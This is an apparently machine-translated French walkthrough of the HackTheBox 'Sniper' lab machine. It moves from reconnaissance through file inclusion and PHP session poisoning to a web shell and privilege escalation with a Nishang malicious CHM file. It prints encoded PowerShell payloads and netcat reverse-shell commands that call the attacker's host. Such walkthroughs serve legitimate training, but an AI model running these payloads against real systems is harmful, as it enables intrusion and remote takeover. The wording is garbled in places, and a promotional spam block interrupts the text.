[Sécurité réseau] Sniper de la série HTB Target Drone Infiltration

présenter

Sniper est un drone cible de difficulté moyenne. Les points de connaissance impliquent l'inclusion et l'utilisation de fichiers locaux, l'inclusion et l'utilisation de fichiers distants, la création d'informations d'identification, l'utilisation de fichiers chm malveillants, etc.

Liquidation Mind Map

Enquêter

détection de port

Faites d'abord une analyse de port avec nmap

nmap -Pn -p- -sV -sC -A 10.10.10.151 -oA nmap_Sniper

port 80

Après la visite, il a été découvert qu'il s'agissait d'une société appelée Sniper Co., dont l'activité principale était la livraison express.

Cliquez sur Nos serveurs accéderont à /blog/index.php, cliquez sur Portail utilisateur pour accéder à l'interface de connexion /user/login.php

Analyse de répertoire

Analyse de répertoire avec gobuster

gobuster dir -u http://10.10.10.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

Blog

Il y a des listes déroulantes de langue dans le blog, qui sont

http://10.10.10.151/blog/?lang=blog-en.php
http://10.10.10.151/blog/?lang=blog-es.php
http://10.10.10.151/blog/?lang=blog-fr.php

Les trois interfaces de langage sont toutes dans le même répertoire. On peut juger qu'il est inclus via le code php include $_GET['lang']. Si le filtrage n'est pas strict, il peut y avoir une vulnérabilité d'inclusion de fichier

utilisateur \

Il y a une interface d'enregistrement sous l'interface de connexion, essayez d'enregistrer un compte

Connectez-vous avec le compte nouvellement enregistré admin/admin

en ligne [iusr]

[→Suivez-moi pour toutes les ressources, et répondez aux "données" par message privé pour obtenir ←]
1. Parcours d'apprentissage de la sécurité réseau
2. E-books (chapeau blanc)
3. Vidéo interne d'une grande entreprise de sécurité4,
100 documents src5
, des questions d'entretien de sécurité courantes6
, une analyse des sujets classiques du concours de la fct
7, un ensemble complet de boîtes à outils
8, des notes d'intervention d'urgence

Vérifiez que le fichier contient

fichier local contient

Essayez d'abord de lire le fichier index.php du dernier répertoire

L'affichage ne peut pas être lu, mais le chemin absolu \windows\win.ini peut être lu avec succès

le fichier distant contient

Utilisez smbserver pour démarrer le service smb localement, et placez un fichier texte mac.txt dans le répertoire avec le contenu mac is good,

python3 smbserver.py -smb2support mac ~/hackthebox/Machines/Sniper/

Tentative de demande d'adresse de fichier distant : \10.10.14.7\mac\mac.txt

Demande réussie du contenu de mac.txt et vérification de la réponse pour constater que la machine cible a envoyé une demande au local

S'il y a un problème avec la mise en place du service smb, vous pouvez également utiliser les méthodes suivantes

vim /etc/samba/smb.conf
[mac]
    path = /root/hackthebox/Machines/Sniper/
    browseable = yes
    read only = no
    create mask = 777
    guest ok = yes
    force user = nobody
    force group = nogroup

Démarrer le service

service smbd restart
service nmbd restart

Le fichier local contient en ligne

Sous Windows, l'adresse de session par défaut est le répertoire \windows\temp. Une fois connecté au compte, nous pouvons obtenir le PHPSESSID sous la forme 8b23pbv8tj4m02qisnape584d8

De cette façon, nous pouvons en déduire que le fichier de session PHP est \windows\temp\sess_8b23pbv8tj4m02qisnape584d8

Ensuite, essayez d'écrire le code d'exécution PHP dans le nom d'utilisateur dans l'interface d'enregistrement

<?php system("whoami")?>

Bien que je puisse m'inscrire avec succès, mais je ne peux pas me connecter avec succès

Il peut y avoir une injection dans le code backend, essayez d'obscurcir la déclaration

a<?php echo `whoami` ?>b

Après une connexion réussie, le fichier de session de demande a trouvé que la commande a été exécutée avec succès

Essayez d'obtenir le fichier répertoire des utilisateurs sous le site pour comprendre les règles de filtrage de registration.php, le chemin par défaut du site est \inetpub\wwwroot

a<?php echo `dir \inetpub\wwwroot\user` ?>b

J'ai rencontré un problème lors de la lecture de registration.php. Le caractère . empêchait l'affichage du contenu. Utilisez * au lieu du code source pour obtenir le fichier

a<?php echo `powershell cat \inetpub\wwwroot\user\registration*php` ?>b

La liste noire contient les caractères -$[(_.;&"\, donc ces caractères spéciaux ne peuvent pas être inclus dans la commande, et l'encodage base64 peut nous aider à contourner ces restrictions de caractères

echo 'cmd /c "\10.10.14.7\mac\nc64.exe -e cmd 10.10.14.7 443"' | iconv -f ascii -t utf-16le | base64 -w0

/enc décodera base64 lors de l'exécution de la commande, qui peut être enregistrée comme le code suivant

<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4ANwBcAG0AYQBjAAoAYwA2ADQALgBlAHgAZQAgAC0AZQAgAGMAbQBkACAAMQAwAC4AMQAwAC4AMQA0AC4ANwAgADQANAAzACIACgA=` ?>

Écouter localement sur le port 443

rlwrap nc -nvlp 443

Demander les données de session après une connexion réussie

curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8b23pbv8tj4m02qisnape584d8'

Mais il n'a pas renvoyé la session, n'a même pas demandé le service smb, alors décodez le base64 et comparez-le avec le code de 0xdf

J'ai trouvé que ma commande n'était pas complète. Il s'est avéré que \n était échappé et devait être recodé.

YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA

Validation réussie\

Enregistrez à nouveau un compte sur l'interface d'enregistrement et demandez les données de session

<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA` ?>

Obtenez avec succès la coque de rebond

Le fichier distant contient en ligne

En plus d'inclure via des fichiers locaux, nous pouvons également utiliser des inclusions de fichiers distants, comme l'inclusion d'un simple poney PHP

<?php system($_REQUEST['cmd'])?>

Un paramètre contenant cmd peut être demandé pour vérification

curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/</html>/,/</body>/p'

La commande est exécutée avec succès, nous pouvons donc exécuter la commande reverse shell via ce shell

curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=\10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 4444'

Écouter localement sur le port 4444

rlwrap nc -nvlp 4444

A fait rebondir le shell avec succès

Escalade des privilèges [chris]

collecter des messages

Retrouver les informations d'authentification de la base de données dans l'annuaire du site en cours

type c:\inetpub\wwwroot\user\db.php

Parmi eux, le mot de passe est 36mEAhz/B8xQ~2VM. En même temps, on constate que l'utilisateur Chris et l'administrateur

dir c:\Users\

obtenir des informations d'identification

Avec le mot de passe du compte, vous pouvez essayer d'exécuter leur identité via powershell, vérifiez d'abord le nom d'hôte

powershell
PS > hostname

Créer des informations d'identification pour l'utilisateur Chris

PS > $user = "Sniper\Chris"
PS > $pass = "36mEAhz/B8xQ~2VM"
PS > $secstr = New-Object -TypeName System.Security.SecureString
PS > $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
PS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

Vous pouvez voir que l'autorisation d'exécution est Chris, et l'affichage de l'utilisateur Chris trouve que Chris appartient au groupe d'utilisateurs de gestion à distance

net user chris

Obtenir le premier drapeau sur le bureau de l'utilisateur actuel

PS > Invoke-Command -ScriptBlock { dir c:\Users\chris\Desktop } -Credential $cred -Computer localhost
PS > Invoke-Command -ScriptBlock { type c:\Users\chris\Desktop\user.txt } -Credential $cred -Computer localhost

A obtenu avec succès le premier drapeau

coquille de rebond

La coque de rebond peut être complétée à l'aide de nc local

PS > Invoke-Command -ScriptBlock { \10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 5555 } -Credential $cred -Computer localhost

Écouter localement sur le port 5555

rlwrap nc -nvlp 5555

Obtenez avec succès la coque de rebond

Escalade des privilèges [administrateur]

collecter des messages

Il y a plusieurs fichiers dans le répertoire C:\Docs

cd C:\Docs
dir

Consultez note.txt où le PDG demande à Chris de supprimer le document

type note.txt

Instructions.chm existe dans le répertoire Téléchargements de l'utilisateur actuel

cd c:\Users\Chris\Downloads\
dir c:\Users\Chris\Downloads\

.chm est un fichier d'aide Windows, il peut donc s'agir du document dont parle le PDG, copiez-le localement pour vérifier

copy instructions.chm \10.10.14.5\mac\instructions.chm

chm malveillant

Le Out-CHM.ps1 dans Nishang peut nous aider à charger la charge utile dans le fichier .chm à exécuter, importez d'abord le fichier dans Windows

Import-Module .\Out-CHM.ps1

Appelez Out-CHM pour transmettre le chemin HTML Help Workshop et charger la charge utilec

Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.5 6666" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

HTML Help Workshop doit être installé avant l'exécution, sinon une erreur se produira

doc.chm généré avec succès

L'administrateur est en ligne

Copiez doc.chm et nc64.exe sur la machine cible

copy \10.10.14.5\mac\doc.chm .
copy \10.10.14.5\mac\nc64.exe \windows\system32\spool\drivers\color\nc64.exe

Activer la surveillance en même temps

rlwrap nc -nvlp 6666

Obtenez avec succès les privilèges d'administrateur, recherchez le deuxième drapeau sur le bureau de l'administrateur Hassan

dir c:\Users\administrator\Desktop
type c:\Users\administrator\Desktop\root.txt

Obtenu avec succès le deuxième drapeau

Résumer:

Il existe deux répertoires importants sur le site, à savoir user et blog. Le répertoire blog utilise ?lang=xx.php dans le changement de langue, ce qui indique en grande partie qu'il peut y avoir des vulnérabilités d'inclusion de fichiers ; le répertoire user est utilisé pour l'enregistrement et la connexion des utilisateurs. Le compte et l'utilisation de session ultérieure nous ont également aidés à obtenir l'identifiant de session, confirmant ainsi l'adresse de session.

Après une vérification réussie de la vulnérabilité d'inclusion de fichier, nous avons découvert qu'il existe deux façons d'aller en ligne. L'une est l'inclusion et l'utilisation de fichiers locaux, c'est-à-dire que l'effet de l'exécution de code est obtenu en incluant le nom d'utilisateur enregistré (code PHP) dans l'emplacement de la session ; le second est l'inclusion et l'utilisation de fichiers distants relativement simples. , c'est-à-dire que tant que le fichier cheval de Troie est placé localement et que la demande est incluse, l'autorisation peut être obtenue.

Une fois la machine cible en ligne, recherchez le fichier de configuration de la base de données et un mot de passe. Utilisez le nom d'utilisateur et le mot de passe pour créer des informations d'identification via PowerShell afin de vous connecter en tant qu'utilisateur chris. Enfin, utilisez le script nishang Out-CHM pour générer un fichier chm malveillant afin d'obtenir les droits d'utilisateur administrateur.

Je suppose que tu aimes

Origine blog.csdn.net/HBohan/article/details/123637694
conseillé
Classement